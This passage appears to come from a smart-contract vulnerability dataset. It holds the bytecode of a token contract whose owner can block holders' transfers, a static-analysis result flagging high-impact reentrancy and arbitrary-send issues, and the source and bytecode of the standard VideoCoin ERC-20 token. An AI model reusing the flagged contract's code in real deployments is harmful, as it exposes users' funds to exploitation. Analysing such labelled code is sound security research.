b50604051600981526020016101b2565b34801561029057600080fd5b506101db61029f366004611ac1565b6001600160a01b031660009081526006602052604090205460ff1690565b3480156102c957600080fd5b506102516102d8366004611ac1565b6105c6565b3480156102e957600080fd5b506102516102f8366004611aec565b61060a565b34801561030957600080fd5b50610251610318366004611ac1565b610648565b34801561032957600080fd5b506102516106b8565b34801561033e57600080fd5b5061020361034d366004611ac1565b6106e5565b34801561035e57600080fd5b50610251610707565b34801561037357600080fd5b506000546040516001600160a01b0390911681526020016101b2565b34801561039b57600080fd5b5060408051808201909152600581526452446f676560d81b60208201526101a5565b3480156103c957600080fd5b506101db6103d8366004611a54565b61077b565b3480156103e957600080fd5b506102516103f8366004611b1f565b610788565b34801561040957600080fd5b506102516108a5565b34801561041e57600080fd5b5061025161042d366004611be4565b6108db565b34801561043e57600080fd5b5061025161090e565b34801561045357600080fd5b50610251610462366004611ac1565b610cd3565b34801561047357600080fd5b50610203610d14565b34801561048857600080fd5b50610203610497366004611bfd565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156104ce57600080fd5b506102516104dd366004611be4565b610d2c565b60006104ef338484610d5f565b5060015b92915050565b6000610506848484610e83565b610558843361055385604051806060016040528060288152602001611dfc602891396001600160a01b038a166000908152600460209081526040808320338452909152902054919061125c565b610d5f565b5060019392505050565b6000546001600160a01b031633146105955760405162461bcd60e51b815260040161058c90611c36565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b60006105c1306106e5565b905090565b600d546001600160a01b0316336001600160a01b0316146105e657600080fd5b6001600160a01b03166000908152600560205260409020805460ff19166001179055565b600d546001600160a01b0316336001600160a01b03161461062a57600080fd5b60108054911515600160a81b0260ff60a81b19909216919091179055565b600d546001600160a01b0316336001600160a01b03161461066857600080fd5b600e80546001600160a01b03908116600090815260056020526040808220805460ff1990811690915584546001600160a01b03191695909316948517909355928352912080549091166001179055565b600d546001600160a01b0316336001600160a01b0316146106d857600080fd5b476106e281611296565b50565b6001600160a01b0381166000908152600260205260408120546104f39061131b565b6000546001600160a01b031633146107315760405162461bcd60e51b815260040161058c90611c36565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006104ef338484610e83565b6000546001600160a01b031633146107b25760405162461bcd60e51b815260040161058c90611c36565b60005b81518110156108a15760105482516001600160a01b03909116908390839081106107e1576107e1611c6b565b60200260200101516001600160a01b0316141580156108325750600f5482516001600160a01b039091169083908390811061081e5761081e611c6b565b60200260200101516001600160a01b031614155b1561088f5760016006600084848151811061084f5761084f611c6b565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b8061089981611c97565b9150506107b5565b5050565b600d546001600160a01b0316336001600160a01b0316146108c557600080fd5b60006108d0306106e5565b90506106e28161139f565b600d546001600160a01b0316336001600160a01b0316146108fb57600080fd5b600181111561090957600080fd5b600955565b6000546001600160a01b031633146109385760405162461bcd60e51b815260040161058c90611c36565b601054600160a01b900460ff16156109925760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161058c565b600f80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556109cf3082683635c9adc5dea00000610d5f565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610a0857600080fd5b505afa158015610a1c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a409190611cb2565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610a8857600080fd5b505afa158015610a9c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ac09190611cb2565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015610b0857600080fd5b505af1158015610b1c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b409190611cb2565b601080546001600160a01b0319166001600160a01b03928316179055600f541663f305d7194730610b70816106e5565b600080610b856000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610be857600080fd5b505af1158015610bfc573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610c219190611ccf565b5050601054600f5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610c7557600080fd5b505af1158015610c89573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cad9190611cfd565b506010805460ff60a01b1916600160a01b179055610ccd42610e10611d1a565b60115550565b600d546001600160a01b0316336001600160a01b031614610cf357600080fd5b6001600160a01b03166000908152600560205260409020805460ff19169055565b6010546000906105c1906001600160a01b03166106e5565b600d546001600160a01b0316336001600160a01b031614610d4c57600080fd5b6007811115610d5a57600080fd5b600a55565b6001600160a01b038316610dc15760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161058c565b6001600160a01b038216610e225760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161058c565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ee75760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161058c565b6001600160a01b038216610f495760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161058c565b60008111610fab5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161058c565b6000546001600160a01b03848116911614801590610fd757506000546001600160a01b03838116911614155b156111eb576001600160a01b03831660009081526006602052604090205460ff1615801561101e57506001600160a01b03821660009081526006602052604090205460ff16155b61102757600080fd5b6010546001600160a01b0384811691161480156110525750600f546001600160a01b03838116911614155b801561107757506001600160a01b03821660009081526005602052604090205460ff16155b1561112257601054600160a01b900460ff166110d55760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e0000000000000000604482015260640161058c565b4260115411156111225760006110ea836106e5565b905061110b6064611105683635c9adc5dea000006002611528565b906115a7565b61111583836115e9565b111561112057600080fd5b505b600061112d306106e5565b601054909150600160b01b900460ff1615801561115857506010546001600160a01b03858116911614155b801561116d5750601054600160a01b900460ff165b156111e95780156111d7576010546111a1906064906111059060059061119b906001600160a01b03166106e5565b90611528565b8111156111ce576010546111cb906064906111059060059061119b906001600160a01b03166106e5565b90505b6111d78161139f565b4780156111e7576111e747611296565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff168061122d57506001600160a01b03831660009081526005602052604090205460ff165b806112415750601054600160a81b900460ff165b1561124a575060005b61125684848484611648565b50505050565b600081848411156112805760405162461bcd60e51b815260040161058c91906119da565b50600061128d8486611d32565b95945050505050565b600d546001600160a01b03166108fc6112b08360026115a7565b6040518115909202916000818181858888f193505050501580156112d8573d6000803e3d6000fd5b50600e546001600160a01b03166108fc6112f38360026115a7565b6040518115909202916000818181858888f193505050501580156108a1573d6000803e3d6000fd5b60006007548211156113825760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161058c565b600061138c611676565b905061139883826115a7565b9392505050565b6010805460ff60b01b1916600160b01b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106113e7576113e7611c6b565b6001600160a01b03928316602091820292909201810191909152600f54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561143b57600080fd5b505afa15801561144f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114739190611cb2565b8160018151811061148657611486611c6b565b6001600160a01b039283166020918202929092010152600f546114ac9130911684610d5f565b600f5460405163791ac94760e01b81526001600160a01b039091169063791ac947906114e5908590600090869030904290600401611d49565b600060405180830381600087803b1580156114ff57600080fd5b505af1158015611513573d6000803e3d6000fd5b50506010805460ff60b01b1916905550505050565b600082611537575060006104f3565b60006115438385611dba565b9050826115508583611dd9565b146113985760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161058c565b600061139883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611699565b6000806115f68385611d1a565b9050838110156113985760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161058c565b80611655576116556116c7565b6116608484846116f5565b8061125657611256600b54600955600c54600a55565b60008060006116836117ec565b909250905061169282826115a7565b9250505090565b600081836116ba5760405162461bcd60e51b815260040161058c91906119da565b50600061128d8486611dd9565b6009541580156116d75750600a54155b156116de57565b60098054600b55600a8054600c5560009182905555565b6000806000806000806117078761182e565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611739908761188b565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461176890866115e9565b6001600160a01b03891660009081526002602052604090205561178a816118cd565b6117948483611917565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516117d991815260200190565b60405180910390a3505050505050505050565b6007546000908190683635c9adc5dea0000061180882826115a7565b82101561182557505060075492683635c9adc5dea0000092509050565b90939092509050565b600080600080600080600080600061184b8a600954600a5461193b565b925092509250600061185b611676565b9050600080600061186e8e87878761198a565b919e509c509a509598509396509194505050505091939550919395565b600061139883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061125c565b60006118d7611676565b905060006118e58383611528565b3060009081526002602052604090205490915061190290826115e9565b30600090815260026020526040902055505050565b600754611924908361188b565b60075560085461193490826115e9565b6008555050565b600080808061194f60646111058989611528565b9050600061196260646111058a89611528565b9050600061197a826119748b8661188b565b9061188b565b9992985090965090945050505050565b60008080806119998886611528565b905060006119a78887611528565b905060006119b58888611528565b905060006119c782611974868661188b565b939b939a50919850919650505050505050565b600060208083528351808285015260005b81811015611a07578581018301518582016040015282016119eb565b81811115611a19576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146106e257600080fd5b8035611a4f81611a2f565b919050565b60008060408385031215611a6757600080fd5b8235611a7281611a2f565b946020939093013593505050565b600080600060608486031215611a9557600080fd5b8335611aa081611a2f565b92506020840135611ab081611a2f565b929592945050506040919091013590565b600060208284031215611ad357600080fd5b813561139881611a2f565b80151581146106e257600080fd5b600060208284031215611afe57600080fd5b813561139881611ade565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611b3257600080fd5b823567ffffffffffffffff80821115611b4a57600080fd5b818501915085601f830112611b5e57600080fd5b813581811115611b7057611b70611b09565b8060051b604051601f19603f83011681018181108582111715611b9557611b95611b09565b604052918252848201925083810185019188831115611bb357600080fd5b938501935b82851015611bd857611bc985611a44565b84529385019392850192611bb8565b98975050505050505050565b600060208284031215611bf657600080fd5b5035919050565b60008060408385031215611c1057600080fd5b8235611c1b81611a2f565b91506020830135611c2b81611a2f565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611cab57611cab611c81565b5060010190565b600060208284031215611cc457600080fd5b815161139881611a2f565b600080600060608486031215611ce457600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611d0f57600080fd5b815161139881611ade565b60008219821115611d2d57611d2d611c81565b500190565b600082821015611d4457611d44611c81565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d995784516001600160a01b031683529383019391830191600101611d74565b50506001600160a01b03969096166060850152505050608001529392505050565b6000816000190483118215151615611dd457611dd4611c81565b500290565b600082611df657634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122029227a669bea3269fb828016569b0a142b4521a2011369c7db799bb3cb52777e64736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 5,720 |
0x2c9023bbc572ff8dc1228c7858a280046ea8c9e5
|
pragma solidity ^0.4.23;
// openzeppelin-solidity: 1.10.0
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Pausable token
* @dev StandardToken modified with pausable transfers.
**/
contract PausableToken is StandardToken, Pausable {
function transfer(
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transfer(_to, _value);
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transferFrom(_from, _to, _value);
}
function approve(
address _spender,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.approve(_spender, _value);
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
whenNotPaused
returns (bool success)
{
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
whenNotPaused
returns (bool success)
{
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract VideoCoin is PausableToken {
string public constant name = "VideoCoin";
string public constant symbol = "VID";
uint8 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 265e6 * 10**uint256(decimals);
constructor() {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
emit Transfer(0x0, msg.sender, INITIAL_SUPPLY);
}
}
|
0x6080604052600436106100fc576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610101578063095ea7b31461019157806318160ddd146101f657806323b872dd146102215780632ff2e9dc146102a6578063313ce567146102d15780633f4ba83a146103025780635c975abb14610319578063661884631461034857806370a08231146103ad578063715018a6146104045780638456cb591461041b5780638da5cb5b1461043257806395d89b4114610489578063a9059cbb14610519578063d73dd6231461057e578063dd62ed3e146105e3578063f2fde38b1461065a575b600080fd5b34801561010d57600080fd5b5061011661069d565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561015657808201518184015260208101905061013b565b50505050905090810190601f1680156101835780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561019d57600080fd5b506101dc600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106d6565b604051808215151515815260200191505060405180910390f35b34801561020257600080fd5b5061020b610706565b6040518082815260200191505060405180910390f35b34801561022d57600080fd5b5061028c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610710565b604051808215151515815260200191505060405180910390f35b3480156102b257600080fd5b506102bb610742565b6040518082815260200191505060405180910390f35b3480156102dd57600080fd5b506102e6610753565b604051808260ff1660ff16815260200191505060405180910390f35b34801561030e57600080fd5b50610317610758565b005b34801561032557600080fd5b5061032e610818565b604051808215151515815260200191505060405180910390f35b34801561035457600080fd5b50610393600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061082b565b604051808215151515815260200191505060405180910390f35b3480156103b957600080fd5b506103ee600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061085b565b6040518082815260200191505060405180910390f35b34801561041057600080fd5b506104196108a3565b005b34801561042757600080fd5b506104306109a8565b005b34801561043e57600080fd5b50610447610a69565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561049557600080fd5b5061049e610a8f565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104de5780820151818401526020810190506104c3565b50505050905090810190601f16801561050b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561052557600080fd5b50610564600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ac8565b604051808215151515815260200191505060405180910390f35b34801561058a57600080fd5b506105c9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610af8565b604051808215151515815260200191505060405180910390f35b3480156105ef57600080fd5b50610644600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b28565b6040518082815260200191505060405180910390f35b34801561066657600080fd5b5061069b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610baf565b005b6040805190810160405280600981526020017f566964656f436f696e000000000000000000000000000000000000000000000081525081565b6000600360149054906101000a900460ff161515156106f457600080fd5b6106fe8383610c17565b905092915050565b6000600154905090565b6000600360149054906101000a900460ff1615151561072e57600080fd5b610739848484610d09565b90509392505050565b601260ff16600a0a630fcb94400281565b601281565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156107b457600080fd5b600360149054906101000a900460ff1615156107cf57600080fd5b6000600360146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b600360149054906101000a900460ff1681565b6000600360149054906101000a900460ff1615151561084957600080fd5b61085383836110c3565b905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156108ff57600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a26000600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610a0457600080fd5b600360149054906101000a900460ff16151515610a2057600080fd5b6001600360146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600381526020017f564944000000000000000000000000000000000000000000000000000000000081525081565b6000600360149054906101000a900460ff16151515610ae657600080fd5b610af08383611354565b905092915050565b6000600360149054906101000a900460ff16151515610b1657600080fd5b610b208383611573565b905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c0b57600080fd5b610c148161176f565b50565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610d4657600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610d9357600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610e1e57600080fd5b610e6f826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461186b90919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f02826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461188490919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610fd382600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461186b90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050808311156111d4576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611268565b6111e7838261186b90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffff